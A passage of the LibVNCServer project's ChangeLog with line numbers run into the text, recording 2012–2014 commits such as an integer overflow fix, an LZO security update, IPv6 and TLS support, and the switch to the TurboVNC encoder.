MallocFrameBuffer() 520 5212014-08-15 newsoft <newsoft@MacBook-Air-de-newsoft-2.local> 522 523 * libvncclient/vncviewer.c: Fix integer overflow in 524 MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during 525 frame buffer allocation for very large screen sizes 526 5272013-09-28 Amandeep Singh <aman.dedman@gmail.com> 528 529 * libvncserver/sockets.c: allow rfbInitSockets with non-ready 530 states. This allows for reinitializations of e. g. sockets in a SHUTDOWN 531 state. The only state that doesn't make sense to reinitialize are 532 READY states. 533 5342013-10-09 Amandeep Singh <aman.dedman@gmail.com> 535 536 * libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a 537 rfbClientConnectionGone call missing 538 5392014-07-10 Will Thompson <will@willthompson.co.uk> 540 541 * x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called, 542 and currently calls X_UNLOCK on behalf of the caller. But in 543 practice, all callers assume that the lock is still held after 544 check_xrandr_event() returns. In particular, this leads to a 545 double-unlock and crash in check_xevents() on any xrandr event. 546 5472014-07-18 dscho <johannes.schindelin@gmx.de> 548 549 * : Merge pull request #13 from 550 wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events 551 5522014-06-27 Johannes Schindelin <johannes.schindelin@gmx.de> 553 554 * common/lzoconf.h, common/lzodefs.h, common/minilzo.c, 555 common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1: 556 Oberhumer LZO (CVE-2014-4607): 557 http://seclists.org/oss-sec/2014/q2/665 This was also reported by Alex Xu as 558 https://github.com/LibVNC/libvncserver/issues/9. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 559 5602014-06-23 dscho <johannes.schindelin@gmx.de> 561 562 * : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg. 563 5642014-06-23 Matthias Treydte <mt@waldheinz.de> 565 566 * libvncclient/rfbproto.c: Initialize padding in 567 SetFormatAndEncodings' rfbSetPixelFormatMsg. 568 5692014-06-23 Matthias Treydte <mt@waldheinz.de> 570 571 * CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR. This makes the library friendly to use as a git submodule within 572 another project, and should change nothing when compiled alone. For example when having a directory structure like 573 "my_project/external/libvnc", where in libvnc resides a checkout of 574 libvncserver, one can just reference that directory from the 575 CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries, 576 one can just hack away without having to manually make / install 577 LibVNCServer whenever something is changed there. 578 5792014-05-14 dscho <johannes.schindelin@gmx.de> 580 581 * : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region 582 5832014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de> 584 585 * libvncclient/rfbproto.c: libvncclient: If we have TLS support, 586 enable VeNCrypt by default Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 587 5882014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de> 589 590 * .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 591 5922014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de> 593 594 * .gitignore: Ignore the vencrypt document https://www.berrange.com/~dan/vencrypt.txt Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 595 5962014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de> 597 598 * .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by 599 TigerVNC: 600 http://sourceforge.net/p/tigervnc/code/HEAD/tree/rfbproto/rfbproto.rstSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 601 6022014-03-29 Johannes Schindelin <johannes.schindelin@gmx.de> 603 604 * examples/repeater.c: Repeater example: show how to shut down 605 cleanly Since we connected to the client through the repeater, chances are 606 that we want this server shut down once the client disconnected. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 607 6082014-03-29 Johannes Schindelin <johannes.schindelin@gmx.de> 609 610 * .gitignore, examples/Makefile.am, examples/repeater.c: Add an 611 example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs 612 with a so-called repeater (e.g. to bridge firewalled clients and 613 servers): http://www.uvnc.com/products/uvnc-repeater.html This example demonstrates how to use that feature with a 614 LibVNCServer-based server. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 615 6162014-04-05 Christian Beier <dontmind@freeshell.org> 617 618 * configure.ac, webclients/novnc/README.md, 619 webclients/novnc/vnc.html: Update sourceforge links to point to 620 github. 621 6222014-03-31 Johannes Schindelin <johannes.schindelin@gmx.de> 623 624 * libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 625 6262014-03-30 Johannes Schindelin <johannes.schindelin@gmx.de> 627 628 * .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best 629 downloaded manually from http://www.realvnc.com/docs/rfbproto.pdf Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 630 6312014-03-30 Robbert Klarenbeek <robbertkl@users.sourceforge.net> 632 633 * libvncclient/vncviewer.c: Address #12 ClientData does not get 634 freed rfbClientSetClientData() allocates a new rfbClientData, but never 635 gets cleaned up, which causes memory leaks. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 636 6372014-03-30 Johannes Schindelin <johannes.schindelin@gmx.de> 638 639 * examples/example.c, test/encodingstest.c: After free()ing 640 clientData, set it to NULL We will change rfbClientCleanup() to free the data. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 641 6422013-02-27 Joel Martin <github@martintribe.org> 643 644 * libvncserver/websockets.c: Set opcode correctly for binary frames. 645 6462013-01-25 Christian Beier <dontmind@freeshell.org> 647 648 * rfb/rfbproto.h: Remove unneeded #ifdefs. 649 6502013-01-25 Christian Beier <dontmind@freeshell.org> 651 652 * rfb/rfbclient.h: Fix ABI compatibility issue. 653 6542013-01-09 David Verbeiren <david.verbeiren@intel.com> 655 656 * client_examples/gtkvncviewer.c, configure.ac, 657 libvncclient/Makefile.am, libvncclient/h264.c, 658 libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h, 659 rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer 660 updates This patch implements support in LibVNCClient for framebuffer 661 updates encoded as H.264 frames. Hardware accelerated decoding is 662 performed using VA API. This is experimental support to let the community explore the 663 possibilities offered by the potential bandwidth and latency 664 reductions that H.264 encoding allows. This may be particularly 665 useful for use cases such as online gaming, hosted desktops, hosted 666 set top boxes... This patch only provides the client side support and is meant to be 667 used with corresponding server-side support, as provided by an 668 upcoming patch for qemu ui/vnc module (to view the display of a 669 virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update 670 messages are generated for a single server framebuffer modification, 671 the H.264 frame data is sent only with the first update message. 672 Subsequent update framebuffer messages will contain only the 673 coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I 674 submitted with minor enhancements to the gtkvncviewer application: 675 http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for 676 libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./autogen.sh make sudo make install cd .. git clone git://anongit.freedesktop.org/vaapi/intel-driver cd intel-driver git checkout v1.0-branch ./autogen.sh make sudo make install Signed-off-by: David Verbeiren <david.verbeiren@intel.com> 677 6782013-01-08 David Verbeiren <david.verbeiren@intel.com> 679 680 * client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer. 681 6822012-09-14 Christian Beier <dontmind@freeshell.org> 683 684 * AUTHORS: Add Raphael to AUTHORS. 685 6862012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 687 688 * libvncclient/rfbproto.c: Include strings.h for strncasecmp(3) 689 6902012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 691 692 * libvncserver/websockets.c: Work around a gcc bug with anonymous 693 structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly 694 because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly, 695 but works. [1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784 696 6972012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 698 699 * libvncserver/rfbserver.c: Include stdio.h for snprintf(3) 700 7012012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 702 703 * libvncserver/websockets.c: Add the required headers for read(2) 704 7052012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 706 707 * CMakeLists.txt, configure.ac, libvncserver/websockets.c, 708 rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in 709 websocket.c. byteswap.h exists only on glibc, so building libvncserver with 710 websockets support was not possible in other systems. Replace the inclusion of byteswap.h and the WS_* definitions with 711 calls to htobeNN, which should perform the same conversions, be more 712 portable and avoid the need to check for the platform's endianness. 713 7142012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 715 716 * CMakeLists.txt, configure.ac: Do not hardcode the need for 717 libresolv. libresolv is only present on systems which use glibc; platforms such 718 as FreeBSD have __b64_ntop as part of libc itself. Improve the detection process and only link against libresolv if it 719 exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES 720 after performing the necessary tests, since we do not always want to 721 link against libresolv. 722 7232012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 724 725 * common/vncauth.c, libvncclient/rfbproto.c, 726 libvncclient/sockets.c, libvncserver/httpd.c, 727 libvncserver/rfbserver.c, libvncserver/sockets.c, 728 libvncserver/websockets.c: Tune the definitions needed when building 729 with -ansi. The current definitions were mostly useful to glibc and followed its 730 feature_test_macros(3) documentation. However, this means other platforms still had problems when building 731 with strict compilation flags. _BSD_SOURCE, for example, is only 732 recognized by glibc, and other platforms sometimes need 733 _XOPEN_SOURCE instead, or even the removal of some definitions (such 734 as the outdate _POSIX_SOURCE one). _POSIX_SOURCE also had to be conditionally defined in some places, 735 as what it enables or disables during compilation varies across 736 systems. 737 7382012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 739 740 * libvncserver/sockets.c, libvncserver/websockets.c: Add some 741 missing feature macro definitions. Building with -ansi failed due to some code (as well as system 742 headers) using non-C89 features. Fix that by adding the usual 743 _POSIX_SOURCE and _BSD_SOURCE definitions already present in some 744 other files. 745 7462012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 747 748 * common/turbojpeg.c, libvncserver/tight.c, 749 libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake, 750 test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source 751 code. Using C++-style comments when building the code with -ansi does not 752 work, so be more conservative with the comment style. 753 7542012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 755 756 * libvncserver/websockets.c: Correctly include rfbconfig.h. build_dir/rfb is not passed as an include directory automatically to 757 the compiler, so including that file fails. 758 7592012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org> 760 761 * CMakeLists.txt: CMake: Link against libgcrypt when it is found. So far, libgcrypt was looked for but no targets linked against it 762 directly; this caused linking problems for the client and server 763 examples, as the symbols they needed were not passed to the linker. The issue that the GnuTLS websockets code uses libgcrypt regardless 764 of whether it has been found or not has not been touched by this 765 commit, though. 766 7672012-08-19 Christian Beier <dontmind@freeshell.org> 768 769 * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, 770 webclients/novnc/include/base.css, 771 webclients/novnc/include/black.css, 772 webclients/novnc/include/blue.css, 773 webclients/novnc/include/display.js, 774 webclients/novnc/include/input.js, 775 webclients/novnc/include/playback.js, 776 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, 777 webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, 778 webclients/novnc/include/web-socket-js/web_socket.js, 779 webclients/novnc/include/websock.js, 780 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, 781 webclients/novnc/vnc_auto.html: Update noVNC webclient. 782 7832012-08-19 Christian Beier <dontmind@freeshell.org> 784 785 * AUTHORS: Update AUTHORS. 786 7872012-08-08 Oliver Loch <o.loch@gmx.net> 788 789 * libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6 790 without IPv4. As requested only those lines are indented that have been changed. 791 7922012-07-20 Johannes Schindelin <johannes.schindelin@gmx.de> 793 794 * AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 795 7962012-07-19 Rostislav Lisovy <lisovy@gmail.com> 797 798 * libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval 799 conversion Signed-off-by: Rostislav Lisovy <lisovy@gmail.com> Signed-off-by: 800 Johannes Schindelin <johannes.schindelin@gmx.de> 801 8022012-05-31 Christian Beier <dontmind@freeshell.org> 803 804 * libvncserver/config.h, libvncserver/rfbconfig.h: Remove 805 autogenerated files from repo. 806 8072012-05-23 Christian Beier <dontmind@freeshell.org> 808 809 * CMakeLists.txt, configure.ac, rfb/rfbconfig.h.cmake: Add Compile 810 Time Version Test Defines. 811 8122012-05-18 Kyle J. McKay <mackyle@gmail.com> 813 814 * libvncserver/sockets.c: libvncserver/sockets.c: do not segfault 815 when listenSock/listen6Sock == -1 816 8172012-05-09 Christian Beier <dontmind@freeshell.org> 818 819 * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c, 820 vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no 821 too unimportant errors. 822 8232012-05-07 Christian Beier <dontmind@freeshell.org> 824 825 * TODO: Update TODO. 826 8272012-05-07 Luca Falavigna <dktrkranz@debian.org> 828 829 * test/encodingstest.c: Encodingstest: Use format string argument 830 with fprintf. 831 8322012-05-05 Christian Beier <dontmind@freeshell.org> 833 834 * CMakeLists.txt, configure.ac: Bump version to 0.9.10. 835 8362012-05-04 Christian Beier <dontmind@freeshell.org> 837 838 * ChangeLog: Update ChangeLog for 0.9.9. 839 8402012-05-04 Christian Beier <dontmind@freeshell.org> 841 842 * configure.ac: Enable building DLLs with MinGW32. 843 8442012-05-04 Christian Beier <dontmind@freeshell.org> 845 846 * NEWS: Update NEWS for 0.9.9. 847 8482012-05-03 Christian Beier <dontmind@freeshell.org> 849 850 * libvncclient/rfbproto.c: LibVNCClient: #undef these types in case 851 it's WIN32. The various other headers include windows.h and the winsock headers 852 which give an error when SOCKET and socklen_t are already defined. 853 8542012-05-03 Christian Beier <dontmind@freeshell.org> 855 856 * rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available. Needed for the IPv6 stuff. 857 8582012-04-30 Christian Beier <dontmind@freeshell.org> 859 860 * libvncserver/Makefile.am: LibVNCServer: Prefer GnuTLS over OpenSSL 861 to be in sync with LibVNCClient. 862 8632012-04-30 Christian Beier <dontmind@freeshell.org> 864 865 * libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib 866 related build fixes. 867 8682012-04-30 Christian Beier <dontmind@freeshell.org> 869 870 * configure.ac: Make PKG_CHECK_MODULES fail non-fatal. These check for optional modules. 871 8722012-04-30 Christian Beier <dontmind@freeshell.org> 873 874 * libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG 875 stuff when libjpeg is available. TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It 876 still uses JPEG rects as well. Theoretically, we could build 877 TightPNG with only libpng and libjpeg - without zlib - but libpng 878 depends on zlib, so this is kinda moot. 879 8802012-04-27 Christian Beier <dontmind@freeshell.org> 881 882 * test/Makefile.am: Only build libjpeg test programs if libjpeg is 883 actually available. 884 8852012-04-26 Christian Beier <dontmind@freeshell.org> 886 887 * CMakeLists.txt: Fix CMake build of LibVNCClient. 888 8892012-04-26 Christian Beier <dontmind@freeshell.org> 890 891 * libvncserver/rfbserver.c: Properly check return value. This also fixes a compiler warning. 892 8932012-04-26 Christian Beier <dontmind@freeshell.org> 894 895 * configure.ac: Fix build when no libjpeg is available. 896 8972012-04-26 Christian Beier <dontmind@freeshell.org> 898 899 * examples/android/Makefile.am, libvncserver/Makefile.am: Include 900 some more missing files for make dist. 901 9022012-04-25 Christian Beier <dontmind@freeshell.org> 903 904 * libvncserver/Makefile.am: Include missing files for make dist. 905 9062012-04-25 Christian Beier <dontmind@freeshell.org> 907 908 * libvncclient/Makefile.am: Fix libvncclient make dist. 909 9102012-04-25 Christian Beier <dontmind@freeshell.org> 911 912 * configure.ac: Better check for Linux build. 913 9142012-04-25 Christian Beier <dontmind@freeshell.org> 915 916 * vncterm/Makefile.am: Binaries that are to be installed should be 917 all lowercase. 918 9192012-04-25 Christian Beier <dontmind@freeshell.org> 920 921 * CMakeLists.txt, configure.ac: Bump version to 0.9.9. 922 9232012-04-25 Christian Beier <dontmind@freeshell.org> 924 925 * common/turbojpeg.c, libvncserver/rfbserver.c, 926 libvncserver/websockets.c, test/tjbench.c: Fix some compiler 927 warnings thrown with newer gcc. 928 9292012-04-25 Christian Beier <dontmind@freeshell.org> 930 931 * test/Makefile.am: Fix turbojpeg tests compilation. 932 9332012-04-25 DRC <information@virtualgl.org> 934 935 * common/turbojpeg.c: Fix compilation with some libjpeg 936 distributions. 937 9382012-04-22 Monkey <chris.boyle.1978@gmail.com> 939 940 * libvncclient/rfbproto.c: Added support for UltraVNC Single Click 941 as originally proposed by Noobius (Boobius) on 6/1/11. Original thread: 942 943 http://sourceforge.net/tracker/?func=detail&aid=3310255&group_id=32584&atid=405860 944 9452012-04-15 Christian Beier <dontmind@freeshell.org> 946 947 * AUTHORS: Add Philip to AUTHORS. 948 9492012-04-15 Christian Beier <dontmind@freeshell.org> 950 951 * libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS 952 library available. 953 9542012-04-15 Christian Beier <dontmind@freeshell.org> 955 956 * libvncclient/tls_openssl.c: LibVNCClient: properly free the 957 openssl session stuff on shutdown. 958 9592012-04-15 Christian Beier <dontmind@freeshell.org> 960 961 * libvncclient/rfbproto.c, libvncclient/sockets.c, 962 libvncclient/tls_gnutls.c, libvncclient/vncviewer.c, 963 rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS 964 #ifdefs and move GnuTLS specific functionality into tls_gnutls.c. 965 9662012-04-14 Christian Beier <dontmind@freeshell.org> 967 968 * configure.ac: Unify GnuTLS vs OpenSSL build systems stuff between 969 libvncclient and libvncserver. 970 9712012-04-14 Christian Beier <dontmind@freeshell.org> 972 973 * libvncclient/Makefile.am, libvncclient/tls.c, 974 libvncclient/tls_gnutls.c, libvncclient/tls_none.c, 975 libvncclient/tls_openssl.c: Add the OpenSSL libvncclient TLS version 976 to the build system. 977 9782012-04-12 Christian Beier <dontmind@freeshell.org> 979 980 * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, 981 webclients/novnc/include/base.css, 982 webclients/novnc/include/base64.js, 983 webclients/novnc/include/display.js, 984 webclients/novnc/include/input.js, 985 webclients/novnc/include/jsunzip.js, 986 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, 987 webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, 988 webclients/novnc/include/websock.js, 989 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, 990 webclients/novnc/vnc_auto.html: Update our copy of noVNC. Bugfixes and support for tight encoding with zlib. 991 9922012-04-12 Christian Beier <dontmind@freeshell.org> 993 994 * libvncserver/tight.c: Make TurboVNC compress level 3 actually 995 work. 996 9972012-04-09 DRC <information@virtualgl.org> 998 999 * common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace 1000 emulation code, which is only active when using regular libjpeg (not 1001 libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1002 10032012-04-02 Christian Beier <dontmind@freeshell.org> 1004 1005 * libvncclient/listen.c, libvncclient/sockets.c, 1006 libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for 1007 LibVNCServer, part four: add copyright notices to files with 1008 non-trivial changes. 1009 10102012-03-29 Johannes Schindelin <johannes.schindelin@gmx.de> 1011 1012 * client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows 1013 keys correctly Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1014 10152012-03-29 Johannes Schindelin <johannes.schindelin@gmx.de> 1016 1017 * .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1018 10192012-03-29 Johannes Schindelin <johannes.schindelin@gmx.de> 1020 1021 * client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP 1022 issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if 1023 the same key event sets unicode correctly in SDL_KEYDOWN events. Work around that for the common case (ASCII) using the fact that 1024 both SDL and X11 keysyms were created with ASCII compatibility in 1025 mind. So as long as we type ASCII symbols, we can map things 1026 trivially. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1027 10282012-03-23 DRC <information@virtualgl.org> 1029 1030 * CMakeLists.txt: Extend support for the new TurboVNC encoder to the 1031 CMake build system 1032 10332012-03-25 DRC <information@virtualgl.org> 1034 1035 * common/turbojpeg.c, common/turbojpeg.h, configure.ac, 1036 libvncserver/Makefile.am, libvncserver/rfbserver.c, 1037 libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h, 1038 rfb/rfbproto.h, test/Makefile.am, test/bmp.c, test/bmp.h, 1039 test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h: 1040 Replace TightVNC encoder with TurboVNC encoder. This patch is the 1041 result of further research and discussion that revealed the 1042 following: -- TightPng encoding and the rfbTightNoZlib extension need not 1043 conflict. Since TightPng is a separate encoding type, not supported 1044 by TurboVNC-compatible viewers, then the rfbTightNoZlib extension 1045 can be used solely whenever the encoding type is Tight and disabled 1046 with the encoding type is TightPng. -- In the TightVNC encoder, compression levels above 5 are basically 1047 useless. On the set of 20 low-level datasets that were used to 1048 design the TurboVNC encoder (these include the eight 2D application 1049 captures that were also used when designing the TightVNC encoder, as 1050 well as 12 3D application captures provided by the VirtualGL 1051 Project-- see 1052 http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf), 1053 moving from Compression Level (CL) 5 to CL 9 in the TightVNC 1054 encoder did not increase the compression ratio of any datasets more 1055 than 10%, and the compression ratio only increased by more than 5% 1056 on four of them. The compression ratio actually decreased a few 1057 percent on five of them. In exchange for this paltry increase in 1058 compression ratio, the CPU usage, on average, went up by a factor of 1059 5. Thus, for all intents and purposes, TightVNC CL 5 provides the 1060 "best useful compression" for that encoder. -- TurboVNC's best compression level (CL 2) compresses 3D and video 1061 workloads significantly more "tightly" than TightVNC CL 5 (~70% 1062 better, in the aggregate) but does not quite achieve the same level 1063 of compression with 2D workloads (~20% worse, in the aggregate.) 1064 This decrease in compression ratio may or may not be noticeable, 1065 since many of the datasets it affects are not performance-critical 1066 (such as the console output of a compilation, etc.) However, for 1067 peace of mind, it was still desirable to have a mode that compressed 1068 with equal "tightness" to TightVNC CL 5, since we proposed to 1069 replace that encoder entirely. -- A new mode was discovered in the TurboVNC encoder that produces, 1070 in the aggregate, similar compression ratios on 2D datasets as 1071 TightVNC CL 5. That new mode involves using Zlib level 7 (the same 1072 level used by TightVNC CL 5) but setting the "palette threshold" to 1073 256, so that indexed color encoding is used whenever possible. This 1074 mode reduces bandwidth only marginally (typically 10-20%) relative 1075 to TurboVNC CL 2 on low-color workloads, in exchange for nearly 1076 doubling CPU usage, and it does not benefit high-color workloads at 1077 all (since those are usually encoded with JPEG.) However, it 1078 provides a means of reproducing the same "tightness" as the TightVNC encoder on 2D workloads without sacrificing any compression for 1079 3D/video workloads, and without using any more CPU time than 1080 necessary. -- The TurboVNC encoder still performs as well or better than the 1081 TightVNC encoder when plain libjpeg is used instead of 1082 libjpeg-turbo. Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the 1083 libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper 1084 can be used with plain libjpeg as well. This required updating the 1085 TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0, 1086 mainly because the TurboJPEG 1.2 API handles pixel formats in a much 1087 cleaner way, which made the conversion code easier to write. It 1088 also eases the maintenance to have the wrapper synced as much as 1089 possible with the upstream code base (so I can merge any relevant 1090 bug fixes that are discovered upstream.) The libvncserver version of 1091 the TurboJPEG wrapper is a "lite" version, containing only the JPEG 1092 compression/decompression code and not the lossless transform, YUV 1093 encoding/decoding, and dynamic buffer allocation features from 1094 TurboJPEG 1.2. configure.ac: Removed the --with-turbovnc option. configure still 1095 checks for the presence of libjpeg-turbo, but only for the purposes 1096 of printing a performance warning if it isn't available. rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder 1097 patch. We cannot use tightQualityLevel for the TurboVNC 1-100 1098 quality level, because tightQualityLevel is also used by ZRLE. 1099 Thus, a new parameter (turboQualityLevel) was created. rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs. Fix 1100 afore-mentioned tightQualityLevel bug. libvncserver/tight.c: Replaced the TightVNC encoder with the 1101 TurboVNC encoder. Relative to the initial TurboVNC encoder patch, 1102 this patch also: -- Adds TightPng support to the TurboVNC encoder -- 1103 Adds the afore-mentioned low-bandwidth mode, which is mapped 1104 externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG 1105 wrapper) as well as TJBench (a benchmark for same.) These are 1106 useful for ensuring that the wrapper still functions correctly and 1107 performantly if it needs to be modified for whatever reason. Both 1108 of these programs are derived from libjpeg-turbo 1.2.0. As with the 1109 TurboJPEG wrapper, they do not contain the more advanced features of 1110 TurboJPEG 1.2, such as YUV encoding/decoding and lossless 1111 transforms. 1112 11132012-03-15 Christian Beier <dontmind@freeshell.org> 1114 1115 * AUTHORS: Add DRC to AUTHORS. 1116 11172012-03-15 Christian Beier <dontmind@freeshell.org> 1118 1119 * rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient 1120 struct. Try to not break ABI between releases. Even if the code gets ugly... 1121 11222012-03-10 DRC <information@virtualgl.org> 1123 1124 * x11vnc/Makefile.am: Fix the build of x11vnc when an out-of-tree 1125 build directory is used 1126 11272012-03-10 DRC <information@virtualgl.org> 1128 1129 * libvncserver/rfbserver.c: Fix an issue that affects the existing 1130 Tight encoder as well as the newly-implemented Turbo encoder. The issue is that, when using the current libvncserver source, it is 1131 impossible to disable Tight JPEG encoding. The way Tight/Turbo 1132 viewers disable JPEG encoding is by simply not sending the Tight 1133 quality value, causing the server to use the default value of -1. 1134 Thus, cl->tightQualityLevel has to be set to -1 prior to processing 1135 the encodings message for this mechanism to work. Similarly, it is 1136 not guaranteed that the compress level will be set in the encodings 1137 message, so it is set to a default value prior to processing the 1138 message. 1139 11402012-03-10 DRC <information@virtualgl.org> 1141 1142 * common/turbojpeg.c, common/turbojpeg.h, configure.ac, 1143 libvncserver/Makefile.am, libvncserver/rfbserver.c, 1144 libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC 1145 encoding support. TurboVNC is a variant of TightVNC that uses the same client/server 1146 protocol (RFB version 3.8t), and thus it is fully cross-compatible 1147 with TightVNC and TigerVNC (with one exception, which is noted 1148 below.) Both the TightVNC and TurboVNC encoders analyze each 1149 rectangle, pick out regions of solid color to send separately, and 1150 send the remaining subrectangles using mono, indexed color, JPEG, or 1151 raw encoding, depending on the number of colors in the subrectangle. 1152 However, TurboVNC uses a fundamentally different selection algorithm 1153 to determine the appropriate subencoding to use for each 1154 subrectangle. Thus, while it sends a protocol stream that can be 1155 decoded by any TightVNC-compatible viewer, the mix of subencoding 1156 types in this protocol stream will be different from those generated 1157 by a TightVNC server. The research that led to TurboVNC is described in the following 1158 report: 1159 http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf. In 1160 summary: 20 RFB captures, representing "common" 2D and 3D 1161 application workloads (the 3D workloads were run using VirtualGL), 1162 were studied using the TightVNC encoder in isolation. Some of the 1163 analysis features in the TightVNC encoder, such as smoothness 1164 detection, were found to generate a lot of CPU usage with little or 1165 no benefit in compression, so those features were disabled. JPEG 1166 encoding was accelerated using libjpeg-turbo (which achieves a 2-4x 1167 speedup over plain libjpeg on modern x86 or ARM processors.) 1168 Finally, the "palette threshold" (minimum number of colors that the 1169 subrectangle must have before it is compressed using JPEG or raw) 1170 was adjusted to account for the fact that JPEG encoding is now quite 1171 a bit faster (meaning that we can now use it more without a CPU 1172 penalty.) TurboVNC has additional optimizations, such as the 1173 ability to count colors and encode JPEG images directly from the 1174 framebuffer without first translating the pixels into RGB. The 1175 TurboVNC encoder compares quite favorably in terms of compression 1176 ratio with TightVNC and generally encodes a great deal faster (often 1177 an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is 1178 roughly equivalent to the one found in version 0.6 of the Unix 1179 TurboVNC Server, with a few minor patches integrated from TurboVNC 1180 1.1. TurboVNC 1.0 added multi-threading capabilities, which can be 1181 added in later if desired (at the expense of making libvncserver 1182 depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings 1183 than TightVNC, because it uses the identical protocol (and thus a 1184 viewer really has no idea whether it's talking to a TightVNC or 1185 TurboVNC server), and because it doesn't support rfbTightPng (and in 1186 fact conflicts with it-- see below), the TurboVNC and TightVNC 1187 encoders cannot be enabled simultaneously. Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with 1188 a TightVNC server, and vice versa. TurboVNC supports 1189 pseudo-encodings for specifying a 